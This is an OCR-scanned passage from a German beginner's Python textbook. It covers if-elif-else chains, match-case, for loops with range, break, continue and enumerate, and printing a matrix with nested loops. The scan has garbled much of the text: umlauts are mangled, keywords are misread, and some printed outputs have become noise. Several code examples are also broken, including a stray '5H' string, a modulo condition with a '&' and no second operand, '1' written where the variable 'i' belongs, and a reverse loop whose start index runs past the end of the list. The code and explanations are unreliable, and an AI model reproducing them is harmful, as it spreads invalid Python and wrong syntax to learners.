Danach folgt dann die eingerlickte print-Anweisung:
5 print("Schade")

Jetzt kommt der else-Teil, in dem alle anderen Eingaben des Benutzers
mit der Meldung Ungliltige Antwort beantwortet werden:

6 else:

7 print ("Ungiltige Antwort")



Super, wir haben uns jetzt sogar noch eine Codezeile gespart.

Die folgende Abbildung visualisiert noch einmal den Ablauf einer 1if-

elif-else-Anweisung:

if-elif-else

<BEDINGUNG 1>
erflllt?

i f-Teil

<Anweisung 1>

<BEDINGUNG 2>
erflllt?

<Anweisung n>

4 Y

elif-Teil else-Teil
<anweisung 1> <Anweisung 1>
;Aﬁweisung n> %AAweisung n>

A 4 A 4

WEITERER PROGRAMMABLAUF

Abbildung 9.2.3: Ablauf einer 1 f-e11if-else-Anweisung

Beispiel 9.2.7: Wie findest du dieses Buch bis hierher eigentlich? Als
Antwortmoglichkeiten sind gut, ok und schlecht erlaubt. In einem
kleinen Python-Programm frage ich jetzt zuerst einmal deine Antwort ab:

1 antwort = input ("Wie findest du das Buch? (gut, ok, schlecht)
")

Jetzt folgt eine 1 £-Anweisung, in der zuerst Uberprift wird, ob du das Buch
gut findest:

2 if antwort == "gut":

3



print ("Das freut mich!")

Danach folgt eine e11i f-Anweisung, in der gepruft wird, ob deine Antwort
ok ist:

4 elif antwort == "ok":

5 print("Was konnte man verbessern?")

Danach frage ich dich in einer weiteren e1if-Anweisung, ob du das Buch
schlecht findest:

6 elif antwort == "schlecht":

7 print("Was hat dir nicht gefallen?")

In allen anderen Fallen wird dir im e 1 se-Teil mitgeteilt, dass ich mit deiner
Meinung nichts anfangen kann:

8 else:

9 print("Ich verstehe dein Feedback leider nicht.")

Beispiel 9.2.8: Es soll ein Programm geschrieben werden, das Schulnoten
verbalisiert:

L] Aus einer 1 wird ein sehr gut,

[J aus einer 2 wird ein gut,

[J aus einer 3 wird einbefriedigend,
[J aus einer 4 wird ein ausreichend,
] aus einer 5 wird einmangelhaft und
[J aus einer 6 wird ein ungentgend.

Klar, in Aufgabe @ von Kapitel 8.5 hast du gesehen, wie du das mit einem
Dictionary losen kannst, doch viele Wege fiihren nach Rom und ich
mochte dir zeigen, dass die Verwendung von if-elif-else-Konstrukten

hier ziemlich aufwendig ist. Also, wir starten zuerst mit einer
Benutzereingabe, in der eine Zahl von 1 bis 6 abgefragt wird:

1 note = input ("Gib eine Schulnote von 1 bis 6 ein: ")

Es ist egal, ob wir die Note in unserem Programm zuerst in einen
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Integer umwandeln oder ob wir es bei einem String belassen: Der ==
Operator funktioniert fur beide Datentypen. Jetzt prifen wir hinter dem
if, obeine 1 eingegeben wurde:

2 if note == "1":

3 print ("sehr gut")
AnschlieBend folgt der erste e1 i f-Teil:

4 elif note == "2":
5 print("gut")

Wir bendtigen jetzt mehrere elif-Teile, da wir insgesamt sechs
verschiedene Falle unterscheiden miissen:

6 elif note == "3":
7 print ("befriedigend")

Das Gleiche wird jetzt noch fiir die Noten 4 bis 6 gemacht:

8 elif note == "4":
9 print ("ausreichend")
10 elif note == "5H":
11 print ("mangelhaft")
12 elif note == "6":
13 print ("ungenigend")

Im e1se-Teil wird jetzt noch darauf hingewiesen, dass fur die Eingabe des
Benutzers keine passende Note ermittelt werden konnte:

14 else:

15 print ("Es konnte keine passende Note ermittelt werden.")

Der elif-Zweig lasst sich Gbrigens beliebig lange weiterfiihren, doch das
kann, wie bei den verschachtelten if-Anweisungen, sehr schnell sehr
uniibersichtlich werden.



9.24match-case

Wie du im vorherigen Kapitel gesehen hast, kannst du mit dem Keyword
elif beliebig viele <Bedingungen> hintereinander uberprifen. In

anderen Programmiersprachen gibt es fir lange if-elif-else-

Konstrukte sogenannte Switch-Case-Anweisungen. Diese kennt man auch
unter der Bezeichnung Schalterblocke. Die Idee dahinter ist, dass eine
Variable nacheinander auf verschiedene Werte (berprift wird. Vom Prinzip
her ist das sehr ahnlich zu dem, was du in Beispiel 9.2.8 gesehen hast:

note = input ("Gib eine Schulnote von 1 bis 6 ein: ")
if note == "1":
print ("sehr gut")

elif note == "2":

1

2

3

4

5 print("gut")
6 elif note == "3":

7 print ("befriedigend")
8 elif note == "4":

9 print ("ausreichend")
10 elif note == "5H":

11 print("mangelhaft")
12 elif note == "6":

13 print ("ungeniigend")
14 else:

15 print ("Es konnte keine passende Note ermittelt werden.")

In Java wiirde man jetzt ganz oben Uber dem 1if zuerst die Variable note
hinter ein Keyword switch schreiben und dann die einzelnen elifs
durch cases ersetzen. Wir programmieren hier allerdings nicht in Java,

sondern in Python, und da konnte man solche Switch-Case-Anweisungen
friher nur mithilfe von if-elif-else-Kaskaden oder Dictionaries

umsetzen. Wie das geht, erfahrst du in dem folgenden Video:



https://florian-dalwigk.com/python-einsteiger/switch_case_mit_if anweisungen

In Python 3.10 wurden zwei neue ,soft Keywords“? eingefiihrt, namlich
match und case. Die folgende Code-Schablone zeigt den strukturellen

Aufbau einer match-case-Anweisung:

match <Variable>:
case <Muster 1>:
<Anweisung 1>

<Anweisung n>
case <Muster 2>:
<Anweisung 1>

<Anweisung n>

case <Muster n>:
<Anweisung 1>

<Anweisung n>
case
<Anweisung 1>

<Anweisung n>
Code-Schablone 9.2.4: Aufbau einer match-case-Anweisung
Du fragst dich vielleicht, was der Unterstrich _ ganz unten vor dem

Doppelpunkt : soll. Das ist ein Platzhalter fiir alles, was nicht durch die
vorherigen Falle abgefangen werden konnte. In Java wird dafiir das


https://florian-dalwigk.com/python-einsteiger/switch_case_mit_if_anweisungen

Keyword default verwendet.

Beispiel 9.2.9: Das Notenprogramm aus Beispiel 9.2.8 soll mithilfe einer
match-case-Anweisung umgesetzt werden. Hierzu wird zuerst eine Note
vom Benutzer eingelesen:

1 note = input ("Gib eine Schulnote von 1 bis 6 ein: ")

Diese Note wird nun hinter das softe Keyword match geschrieben:

2 match note:

Jetzt werden nacheinander alle Werte, die vorher in den
<Bedingungen> hinter dem elif gestanden haben, hinter das softe
Keyword case geschrieben. Die print-Anweisungen werden
entsprechend eingeriickt jeweils eine Zeile drunter geschrieben. Beachte,
dass die case-Anweisungen selbst hinter dem match-Teil eingerickt
werden:

case "1":
print ("sehr gut")

case "2":

3

4

5

6 print("gut")
7 case "3":

8 print ("befriedigend")
9 case "4":

10 print ("ausreichend")
11 case "5":

12 print ("mangelhaft")
13 case "6":

14 print ("ungeniigend")

Fur alle anderen Falle wird der bereits erwahnte Unterstrich _ hinter dem
Keyword case verwendet:

15 case

16 print ("Es konnte keine passende Note ermittelt werden.")



match-case-Anweisungen sind jedoch viel mehr als nur eine andere
Schreibweise fir Switch-Case-Statements. In vielen Tutorials wird immer
behauptet, dass match und case nur erfunden wurden, um Switch-Case-
Anweisungen in Python zu realisieren. Das stimmt so absolut nicht!
match-case-Anweisungen sind ein sehr machtiges Werkzeug, das
Einsteiger in die Programmierung allerdings noch nicht unbedingt
brauchen. Wenn du tiefer in dieses Thema abtauchen modchtest, dann
schaue dir das folgende Video an:

https://florian-dalwigk.com/python-einsteiger/match_case_anweisung

9.3 Die for-Schleife

9.3.1 Wie funktioniert eine for-Schleife?

Mit for-Schleifen kdnnen bestimmte Codebldocke eine bestimmte Anzahl
oft wiederholt und sogenannte iterierbare Objekte schrittweise
durchlaufen werden. In Kapitel 8 hast du bereits einige solcher Objekte
kennengelernt, namlich Datenstrukturen wie Listen, Tupel oder
Dictionaries. Die Syntax einer for-Schleife in Python ist im Vergleich
zu anderen Programmiersprachen sehr einfach gehalten, was die folgende
Code-Schablone zeigt:



https://florian-dalwigk.com/python-einsteiger/match_case_anweisung

for <Variable> in <Sequenz>:
<Anweisung 1>
<Anweisung 2>

<Anweisung n>

Code-Schablone 9.3.1: Aufbau einer for-Schleife

Das Keyword for leitet eine for-Schleife ein. Dahinter folgt eine
<Variable>, in der nacheinander die Werte der <Sequenz>
gespeichert werden. Die <Sequenz> steht dabei fir ein iterierbares
Objekt, das man schrittweise durchlaufen kann. Zwischen der
<Variable> und der <Sequenz> befindet sich das Keyword in, mit
dem du anzeigst, woraus die Werte fir die <Variable> geschopft
werden sollen, namlich aus der <Sequenz>. Die Funktionsweise einer
for-Schleife kann man fast schon direkt an dem Schleifenkopf ablesen,
denn wenn du die Zeile

for <Variable> in <Sequenz>:

wortlich Ubersetzt und statt <Variable> den Begriff Element

verwendest, dann steht dort ,fir jedes Element in der Sequenz,. Hinter
dem Doppelpunkt, der den Schleifenkopf beendet, folgt dann das, was fir
jedes Element aus der <Sequenz> gemacht werden soll. Die
<Anwelsungen>

werden in jedem Schleifendurchlauf nacheinander abgearbeitet und bilden
den sogenannten Schleifenkorper. Beachte, dass die <Anweisungen>

eingerlickt werden. Die for-Schleife endet, sobald alle Elemente in der
<Sequenz> durchlaufen wurden.

Die folgende Abbildung visualisiert den grundlegenden Ablauf einer for-
Schleife:



START

for

Letztes Element der
<Sequenz>

erreicht?

<Anweisung 1>
<Anweisung 2>

<Anweisung n>

Abbildung 9.3.1: Ablauf einer for-Schleife

In Abbildung_9.3.1 kannst du erkennen, dass es wie bei den 1if-
Anweisungen eine Bedingung gibt, die dariber entscheidet, ob die for-
Schleife beendet wird oder nicht, namlich: ,Wurde das letzte Element der
<Sequenz> erreicht?”

Beispiel 9.3.1: Gegeben sei die folgende Liste mit den Zahlen von 0O bis
o:

1 zahlen = [0,1,2,3,4,5]

Die Zahlen in der Liste sollen nun mithilfe einer for-Schleife

nacheinander ausgegeben werden. Zuerst verwenden wir das Keyword
for, um den Schleifenkopf einzuleiten. Darauf folgt der Name fir die



<Variable>. Hier kannst du statt kryptischen Namen wie i oder elem
etwas nehmen, das zu dem Namen der Liste passt. Da diese hier
zahlen heildt, kdnntest du bspw. den Variablennamen zahl verwenden.
AnschlieBend notierst du das Keyword in und den Namen der Liste, die
durchlaufen werden soll, hier also zahlen. Der Schleifenkopf wird mit
einem Doppelpunkt beendet:

2 for zahl in zahlen:

In der Variable zah1 werden jetzt nacheinander die Zahlen von 0 bis 5 aus
der Liste mit dem Namen zahlen gespeichert. Um diese auszugeben,
Ubergeben wir die Variable zah1 als Parameter der print-Funktion. Die
<Anweisungen> hinter dem Doppelpunkt missen, wenn sie zu der for-
Schleife gehoren sollen, eingeriickt werden.

3 print(zahl)

Die Ausgabe beim Programmstart lautet wie folgt:

g b w DN PO

Die Liste, die in der for-Schleife durchlaufen werden soll, muss nicht in
Form einer Variable vorliegen. Du kannst sie auch direkt verwenden:

1 for zahl in [0,1,2,3,4,5]:
2 print(zahl)

Beispiel 9.3.2: Gegeben sei die folgende Liste mit den Namen von
Teilnehmern an einem Python-Kurs:

1 teilnehmerliste = ["Pia","Lea", "Menma","Mia","Lisa"]



Jeder Teilnehmer soll nun nacheinander begriRt werden. Dazu verwenden
wir eine for-Schleife. Zuerst notieren wir das Keyword for, um den

Schleifenkopf einzuleiten. Darauf folgt der Name fiir die <Variable>. Da
die Liste hier teilnehmerliste heildt, kdnntest du bspw. den
Variablennamen teilnehmer verwenden. Anschliefend notierst du das
Keyword in und den Namen der Liste. Der Schleifenkopf wird mit
einem Doppelpunkt beendet:

2 for teilnehmer in teilnehmerliste:

In der Liste teilnehmer werden jetzt nacheinander die Namen Pig,
Lea, Menma, Mia und Lisa gespeichert. Um sie zu begrifSen,
verwenden wir die print-Funktion, die wir hinter dem Schleifenkopf
einrticken:

3 print(teilnehmer)

Die Ausgabe beim Programmstart lautet wie folgt:

Pia
Lea
Menma
Mia
Lisa

Auch hier kann die L.i ste wieder direkt Gibergeben werden:

1 for teilnehmer in ["Pia","Lea", "Menma","Mia","Lisa"]:

2 print (teilnehmer)

Mit einer for-Schleife ist es auch moglich, alle Zeichen eines Strings
nacheinander auszulesen und in einer Liste zu speichern.

Beispiel 9.3.3: Gegeben sei der String Python. Um die einzelnen
Zeichen in dem String auszulesen und in einer Liste zu speichern,
kannst du eine for-Schleife verwenden. Zuerst definierst du daflr eine



leere Liste:

1 zeichenliste = []

Jetzt leitest du die for-Schleife mit dem Keyword for ein und notierst
dahinter eine <Variable>, in der die Zeichen des St rings gespeichert
werden. Diese nennen wir, in Anlehnung an den Namen der Liste,
zeichen. Dahinter folgt das Keyword in, der String Python und ein
Doppelpunkt:

2 for zeichen in "Python":

Innerhalb des Schleifenkérpers wird nun eine eingeriickte <Anweisung>
benotigt, die das ausgelesene Zeichen der Liste mit dem Namen
zeichenliste hinzuflgt. Daflr kann die Methode append verwendet
werden:

3 zeichenliste.append(zeichen)

Zum Schluss kannst du dir das Ergebnis mit dem Aufruf der Funktion
print anzeigen lassen. Achte darauf, dass sich diese <Anweisung>

aulerhalb der for-Schleife befindet, da die aktuelle zeichenliste
sonst in jedem Schleifendurchlauf mit ausgegeben wird. Deshalb wird die
print-Anweisung nicht eingeruckt:

4 print (zeichenliste)

Der Funktionsaufruf in Zeile 4 fihrt bei Programmstart zur folgenden
Ausgabe:

Bisher hast du nur for-Schleifen gesehen, in denen der Schleifenkérper
aus einer einzigen <Anweisung> bestand. In dem folgenden Beispiel
wirst du sehen, dass man nicht auf eine beschrankt ist.



Beispiel 9.3.4: Gegeben sei die folgende St ring-Variable:

1 text = "ich bin ein programmierer"

Wir wollen ermitteln, wie oft die einzelnen Zeichen in dem String
vorkommen. Dazu kdnnen wir ein Dictionary verwenden. Die Schlissel
sind die Zeichen im String und die Werte geben an, wie oft das jeweilige
Zeichen vorkommt. Wir definieren uns zuerst ein leeres Dictionary:

2 statistik = {}

Jetzt iterieren wir mit einer for-Schleife wie in Beispiel 9.3.3
nacheinander Gber alle Zeichen im String:

3 for zeichen in text:

In einer eingeriickten i f-Anweisung innerhalb der for-Schleife wird nun

geprift, ob das Zeichen im aktuellen Schleifendurchlauf schon als Schlissel
indem Dictionary vorhanden ist oder nicht:

4 if zeichen in statistik:

Wenn das der Fall ist, dann wird der aktuelle Wert, also wie oft der
Buchstabe in dem String vorkommt, um 1 erhoéht:

5 statistik[zeichen] += 1

Ansonsten wird flir das Zeichen ein neuer Eintrag im Dictionary mit
dem Wert 1 erstellt, weil dieses Zeichen zum ersten Mal im String
auftaucht:

6 else:

7 statistik[zeichen] =1

Zum Schluss wird das Ergebnis ausgegeben. Achte auch hier wieder darauf,
dass die Ausgabe auBerhalb der for-Schleife erfolgt, weil sie sonst in



jedem Schleifendurchlauf durchgefiihrt wird:

8 print (statistik)

Der Funktionsaufruf in Zeile 8 fihrt bei Programmstart zur folgenden
Ausgabe:

Wie du siehst, wird auch das Leerzeichen als Eintrag mitbericksichtigt.

Man kann mit for-Schleifen jedoch nicht nur Listen, sondern bspw.
auch Dictionaries durchlaufen. In der <Variable> werden dann
nacheinander alle Schlissel, die sich in dem Dictionary befinden,
gespeichert. Diese kdnnen dann dazu genutzt werden, um die Werte
auszulesen.

Beispiel 9.3.5: Gegeben sei das folgende Dictionary, das Vornamen
(Schliissel) Nachnamen (Werte) zuordnet:

1 namen = {

2 "Florian" : "Dalwigk",
3 "Hans" : "Huber",

4 "Mila" : "Star",

5 "Rei" : "Hino",

6 "Ayumi" : "Tsukino"
7}

Wir wollen alle Vornamen zusammen mit ihren Nachnamen ausgeben.
Dazu verwenden wir eine for-Schleife. Im Schleifenkopf definieren wir

eine Variable vorname. Hier werden nacheinander die Schlissel des
Dictionaries namen gespeichert.

8 for vorname in namen:

Mit den Schlisseln, also den Vornamen, kbnnen wir dann die Nachnamen
aus dem Dictionary auslesen und ausgeben:



9 print(f"{vorname} {namen[vorname]}")

9.3.2 Die range-Funktion

Bisher hast du ausschlieBlich for-Schleifen gesehen, bei denen iterierbare
Objekte wie Listen oder Dictionaries durchlaufen wurden. Dieser
iteratorbasierte Ansatz in Python hat z. B. den Vorteil, dass du dich nicht
mit Indizes herumschlagen musst. Angenommen, du mochtest Namen, die
in einer Liste gespeichert sind, nacheinander ausgeben. Dann kannst du
das folgendermalien umsetzen:

1 namen = ["Pia","Lea","Amy","Rei", "Tom"]
2 for name in namen:

3 print (name)

In Java wirdest du, wenn du ebenfalls mit einem Iterator arbeiten
mochtest, eine sogenannte foreach-Schleife verwenden:

1 String[] namen = new String[]{"Pia","Lea","Amy","Rei", "Tom"};
2 for (String name : namen) {

3 System.out.println (name) ;

4 }

Wie du siehst, habe ich hier ein Array anstelle einer Liste verwendet,
da sogenannte ArrayLists schon eher zu den fortgeschrittenen Java-
Techniken gehoren (Stichwort: Generics). Wenn du neu in Java bist, dann
lernst du aber normalerweise eine Variante der for-Schleife kennen, bei
der ein Index zum Einsatz kommt, der in jedem Schleifendurchlauf um 1

erhoht wird, bis er einen bestimmten Endwert erreicht oder eine
Bedingung nicht mehr erfillt ist:

1 String[] namen = new String[]{"Pia","Lea","Amy","Rei", "Tom"};
2 for(int i=0; i < namen.length; i++) {

3 System.out.println (namenf[i]);

4 }



Ich personlich empfinde den Ansatz Uber einen Iterator weitaus
anschaulicher als eine Zahlschleife, doch das ist Geschmackssache.

Solltest du dich in Python doch dazu entscheiden, die einzelnen Elemente
mit einer Zahlschleife durchlaufen zu wollen, dann kannst du das mithilfe
der Funktion range machen. Diese erhalt bis zu drei Parameter, namlich

einen Startwert, einen Endwert und eine Schrittweite. Sie gibt
anschlieflend ein iterierbares range-Objekt zuriick, das dann durchlaufen

wird. Der Endwert wird Ubrigens nicht mit in das range-Objekt
geschrieben und ist somit exklusiv zu verstehen. In Python 2 hat range
noch direkt eine Liste zurlickgegeben. In Python 3 musst du ein range-
Objekt erst mithilfe der Funktion 1ist in eine Liste umwandeln.

Beispiel 9.3.6:

print (list (range (0,10))))
# Ausgabe: [0,1,2,3,4,5,6,7,8,9]
# Der Endwert 10 wird ignoriert. Die Liste hat aber 10 Elemente.

Wenn der Startwert 0 ist, dann kannst du ihn auch weglassen.

Beispiel 9.3.7:

print (list (range (10)))
# Ausgabe: [0,1,2,3,4,5,6,7,8,9]
# Es wird bei 0 begonnen, weil der Startwert fehlt.

Beispiel 9.3.8:
print (list (range(1,5)))

# Ausgabe: [1,2,3,4]
# Der Endwert 5 wird ignoriert.

Beispiel 9.3.9:

print (list (range(6,12)))
# Ausgabe: [6,7,8,9,10,11]



Es konnen auch negative Zahlen innerhalb der Funktion range verwendet
werden.

Beispiel 9.3.10:

print (list (range

(-2,3)))
# Ausgabe: [-2,-1,

2 )
0,1,2]

Wenn der Startwert groRer als der Endwert ist, dann wird die leere
Liste zurlickgegeben.

Beispiel 9.3.11:

print (list (range(5,2)))
# Es wird die leere Liste [] ausgegeben, weil 5 > 2 ist.

Mit der Schrittweite kannst du steuern, in welchen Abstanden hochgezahlt
werden soll.

Beispiel 9.3.12:

print (list (range (0,10,2)) )
# Es wird die Liste [0,2,4,6,8] ausgegeben, weil vom Startwert O
in Zweierschritten gezahlt wird. Der Endwert 10 wird ignoriert.

Beispiel 9.3.13:

print (list (range (5,50,5)))

# Es wird die Liste [5, 10, 15, 20, 25, 30, 35, 40, 45]
ausgegeben, weil vom Startwert 5 in Finferschritten gezahlt wird.
Der Endwert 50 wird ignoriert.

In Beispiel 9.3.11 hast du gesehen, dass die leere Liste zurlickgegeben

wird, wenn der Startwert grofler als der Endwert ist. Das trifft aber nur
dann zu, wenn es keine negative Schrittweite gibt. In diesem Fall wird
namlich rickwarts gezahlt.

Beispiel 9.3.14:

print (list (range (10,0,-1)))
# Es wird die Liste [10,9,8,7,6,5,4,3,2,1] ausgegeben, weil vom



Startwert 10 rickwérts gezahlt wird. Der Endwert 0 wird ignoriert.

Beispiel 9.3.15:

print (list (range (20,1,-2)))

# Es wird die Liste [20,18,16,14,12,10,8,6,4,2] ausgegeben, weil
vom Startwert 20 rlckwadrts in Zweierschritten gezdhlt wird. Der
Endwert 1 wird ignoriert bzw. nie erreicht.

Beispiel 9.3.16:

print (list (range (18,3,-3)))

# Es wird die Liste [18,15,12,9,6] ausgegeben, weil vom Startwert
18 riickwarts in Dreierschritten gezahlt wird. Der Endwert 3 wird
ignoriert.

Jetzt ist es an der Zeit zu schauen, wie man mithilfe der range-Funktion in
einer for-Schleife arbeitet. Dort musst du namlich nicht erst eine
Umwandlung in eine Liste vornehmen, sondern kannst das Ergebnis des
Funktionsaufrufs direkt als iterierbares Objekt verwenden.

Beispiel 9.3.17: Gegeben sei die folgende L.i ste mit Namen:

1 namen = ["Leon","Lexa","Aron"]

Die Elemente sollen innerhalb einer for-Schleife mit einem Index i

adressiert und ausgegeben werden. Dazu notieren wir zuerst das Keyword
for und schreiben dahinter als Variablennamen den Index i. Darauf folgt

das Keyword in und der Aufruf der Funktion range. Als Startwert wird 0
und als Endwert 3 Ubergeben, weil die Namensliste drei Elemente enthalt

und der Endwert ignoriert wird. Der Schleifenkopf wird mit einem
Doppelpunkt geschlossen:

2 for i in range(0,3):

Im Schleifenkérper werden die einzelnen Elemente der Liste nun
mithilfe des Index und den eckigen Klammern adressiert. Der ausgelesene



Wert wird anschlieRend ausgegeben.

3 print (namen[i])

Da ein Endwert von 0 nicht angegeben werden muss, kannst du ihn in Zeile
2 auch einfach weglassen:

2 for 1 in range(3):

Beispiel 9.3.18: Gegeben sei die folgende Liste mit Zahlen:

1 zahlen = [1,2,3,4,5]

Die Elemente sollen innerhalb einer for-Schleife mit einem Index i

adressiert und ausgegeben werden. Dazu notieren wir zuerst das Keyword
for und schreiben dahinter als Variablennamen den Index i. Darauf folgt

das Keyword in und der Aufruf der Funktion range. Ein Startwert ist

nicht erforderlich, weil alle Zahlen ausgegeben werden sollen. Nur der
Endwert ist entscheidend. Dieser ist 5, weil die Zahlenliste finf Elemente
enthdlt und der Endwert ignoriert wird. Der Schleifenkopf wird mit einem
Doppelpunkt geschlossen. Anschlielend werden die Zahlen mit dem Index
i adressiert und ausgegeben:

2 for 1 in range(5):

3 print(zahlen[i])

Die Zahlen werden nun nacheinander ausgegeben.

Ublicherweise verwendet man, wenn eine Liste vollstindig durchlaufen
werden soll, die Funktion len, um die Anzahl der darin enthaltenen
Elemente zu bestimmen. Das Ergebnis dieser Funktion kann man als
Endwert der range-Funktion verwenden. Das flihrt auch nicht zu einer

IndexError Exception, da der Endwert ignoriert wird und die Indizes so
von 0 bis len (1liste) -1 laufen.

Beispiel 9.3.19: Gegeben sei die folgende Liste mit Zahlen:



1 zahlen = [0,1,2,3,4,5,6,7,8,9]

Die Elemente sollen innerhalb einer for-Schleife mit einem Index x

adressiert und ausgegeben werden. Im Schleifenkopf verwenden wir als
iterierbares Objekt das Ergebnis der range-Funktion. Da alle Elemente

durchlaufen werden sollen, muss kein Startwert angegeben werden. Als
Endwert verwenden wir die Lange der Liste, die wir mit der Funktion

len ermitteln konnen:

2 for x in range(len(zahlen)) :

AnschlieBend werden die Zahlen mit dem Index x adressiert und
ausgegeben:

3 print(zahlen[x])

Auf diese Weise kann eine Liste auch ,rickwarts” ausgegeben werden.

Beispiel 9.3.20: Gegeben sei die folgende Liste mit Zahlen:
1 zahlen = [0,1,2,3,4,5,6,7,8,9]

Diese sollen rickwarts, also von 10 bis 1 ausgegeben werden. Dazu
kdnnen wir die Funktion range verwenden und ihr als Schrittweite -1
Ubergeben. Der Startwert ist 9, weil das letzte Element (die 9) den Index 9
hat. Der Endwert ist allerdings nicht 0, sondern -1, denn das Element 0
befindet sich an Position 0, aber der Endwert wird ja ignoriert:

2 for i in range(len(zahlen),-1,-1):

AnschlieBend werden die Zahlen mit dem Index i adressiert und
ausgegeben:

3 print(zahlen[i])

Mit dem Keyword break kannst du aus einer laufenden for-Schleife



ausbrechen.

Beispiel 9.3.21: Wir wollen die erste Zahl zwischen (inklusive) 1 und
(exklusive) 100 finden, die sowohl durch 3 als auch durch 7 teilbar ist.

Diese soll ausgegeben und das Programm anschlieRend beendet werden.
Dazu durchlaufen wir in einer for-Schleife den entsprechenden

Zahlenbereich:

1 for i in range(1,100) :

AnschlieBend prifen wir in einer if-Anweisung, ob der aktuell in i
gespeicherte Wert durch 3 und 7 teilbar ist. Dafiir verwenden wir den
Modulo-Operator:

2 if 1 % 3 == 0 and 1 & 7 ==

Wenn die if-Anweisung erflllt ist und wir die passende Zahl gefunden
haben, dann geben wir den aktuellen Wert von i aus und beenden mit
dem Keyword break die for-Schleife:

3 print (i)
4 Dbreak

Wenn du nicht komplett aus der Schleife ausbrechen maochtest, sondern
nur den aktuellen Schleifendurchlauf tGberspringen willst, dann kannst du
das Keyword continue nutzen.

Beispiel 9.3.22: Gegeben sei die folgende Liste:

1 zahlen = [3,4,15,42,99,101]

Wir wollen alle Zahlen bis auf die 4 ausgeben. Dazu laufen wir zuerst mit
einer for-Schleife alle Eintrage nacheinander ab:

2 for zahl in zahlen:

Wenn die aktuell betrachtete zahl die 4 ist, dann soll der aktuelle



Schleifendurchlauf mithilfe des Keywords continue abgebrochen
werden. Die Schleife wird dabei nicht verlassen:

3 1if zahl == 4:

4 continue

Ansonsten wird die zah1 einfach ausgegeben:

5 print(zahl)

Wenn du nur daran interessiert bist, eine for-Schleife eine bestimmte
Anzahl oft zu durchlaufen, dann wird die Z3hlvariable Ublicherweise
genannt.

Beispiel 9.3.23: Wir wollen zehnmal den Text Hallo Python!
untereinander ausgeben. Dazu verwenden wir eine for-Schleife, weil die

Anzahl der Wiederholungen feststeht. Da der Wert der Zahlvariable
innerhalb der Schleife keine Rolle spielt, verwenden wir hierfiir den Namen

1 for 1in range(10)

2 print("Hallo Python!")

9.3.3 enumerate

Wenn du Fan von der iteratorbasierten for-Schleife bist und trotzdem

nicht auf den Luxus eines Index verzichten mochtest, konntest du auf die
Idee kommen, parallel in jedem Schleifendurchlauf eine Variable i
mitlaufen zu lassen:

1 namen = ["Pam","Mia","Luna","Ulf"]

2 1 =20

3 for name in namen:

4 print(f"Index: {i} - Name: {name}")
5 1 +=1

Die Ausgabe lautet dann:



Index: 0 - Name: Pam
Index: 1 - Name: Mia
Index: 2 - Name: Luna
Index: 3 - Name: Ulf

Das funktioniert zwar, doch tu das bitte nicht! Damit outest du dich als
Programmiernoob. Verwende stattdessen die Funktion enumerate. Diese

erhalt als Parameter die Liste, die in der for-Schleife durchlaufen
werden soll. Als Ergebnis liefert sie ein enumerate-Objekt zurlick, das fir
jedes Element in der Liste ein Tupel bereitstellt, in dem zuerst der

Index und dann das Element gespeichert wird. Dieses Objekt kannst du
mithilfe der Funktion 1ist in eine Liste umwandeln und sie dir dann

anschauen. Fir die Namensliste aus Zeile 1 ergibt sich somit:

print (list (enumerate (namen)))
# Ergebnis: [(0, 'Pam'), (1, 'Mia'), (2, 'Luna'), (3, 'ULf'")]

Anstelle einer Variable verwendest du im Schleifenkopf nun zwei Variablen,
die du mit einem Komma trennst. Hinter dem Keyword in notierst du jetzt

nicht mehr namen, sondern enumerate (namen) :

1 namen = ["Pam","Mia","Luna","Ulf"]
2 for i,name in enumerate (namen) :

3 print(f"Index: {i} - Name: {name}")

Die Ausgabe bleibt gleich:

Index: 0 - Name: Pam
Index: 1 - Name: Mia
Index: 2 - Name: Luna
Index: 3 - Name: Ulf

9.3.4 Matrizen ausgeben

Eine Matrix ist eine rechteckige Struktur, in die man z. B. Zahlen eintragen
kann. Sie besteht aus m Zeilen und n Spalten und sieht bspw. wie folgt aus:



1 2 3

M:[4 5 6

Diese Matrix hat m = 2 Zeilen und n = 3 Spalten. Mithilfe einer doppelten
for-Schleife kann diese Matrix ausgegeben werden. Zuerst bilden wir sie

in Form einer zweidimensionalen Liste in Python ab:

A W N R
[N
~
()]
~
()}

Hier bietet es sich an, zwei Indizes zeile und spalte zu definieren, mit
denen dann die einzelnen Elemente adressiert werden konnen. Doch
welche Endwerte werden dabei der range-Funktion Gibergeben? Nun, die
Anzahl der Zeilen bekommen wir durch 1en (M) heraus und kdnnen sie in
einer Variable speichern:

5 zeilen = len (M)

Die Anzahl der Spalten ermitteln wir Uber irgendeine der Zeilen, z. B. die
mit dem Index 0. Da eine Matrix rechteckig ist, befindet sich in jeder Zeile

dieselbe Anzahl an Elementen:

6 spalten = len(M[O0])

Wir definieren noch eine String-Variable ergebnis, in der die
Darstellung unserer Matrix gespeichert werden soll:

7 ergebnis = ""

Jetzt lassen wir den Index m von O bis zur Anzahl der Zeilen laufen:

8 for zeile in range(zeilen) :

Innerhalb der for-Schleife wird in einer weiteren for-Schleife der Index n



fir die Spalten von O bis zur Anzahl der Spalten laufengelassen. Achte auf
die Einrlickung, da diese Schleife fiir jede Zeile ausgefihrt wird:

9 for spalte in range (spalten) :

Jetzt wird das Matrizenelement mit den beiden Indizes ausgelesen und
dem String hinzugefligt. Damit die Matrizeneintrage auch optisch schén

voneinander getrennt werden, kann noch ein Leerzeichen eingefligt
werden. Vergiss nicht, dass du diesen Teil erneut einriicken musst:

10 ergebnis += f"{M[zeile] [spalte]l} "

Wenn die innere for-Schleife fir die Spalten durchlaufen wurde, dann ist

das Ende einer Zeile erreicht. In diesem Fall muss dem Ergebnisstring ein
Zeilenumbruch \n hinzugefiigt werden, da die Zeilen allesamt

untereinanderstehen:

11 ergebnis += "\n"

Und fertig. Mit dieser Vorgehensweise kannst du beliebige
zweidimensionale Matrizen ausgeben. Apropos ,ausgeben”: Du musst zum
Schluss noch den zusammengesetzten String der print-Funktion
Ubergeben:

12 print (ergebnis)

Die Ausgabe lautet wie folgt:

123
4 5 6

Die zusatzliche Leerzeile entsteht durch den Zeilenumbruch der dufSeren
for-Schleife, der auch fur die letzte Zeile durchgefiihrt wird. Diese kannst

du bspw. mit der St ring-Methode st rip entfernen:

12 print (ergebnis.strip())



Jetzt ist die Uberflussige Leerzeile verschwunden:

123
4 5 6

9.3.5 1Listen mit for-Schleifen erstellen

Du kannst eine for-Schleife auch direkt innerhalb einer I.i ste nutzen

und sie so direkt mit Werten beflllen. Dazu notierst du zuerst eckige
Klammern, in die du eine Variable einfligst, die von der for-Schleife

befillt werden soll. Direkt hinter den Variablennamen schreibst du das,
was du sonst als Schleifenkopf verwenden wirdest.

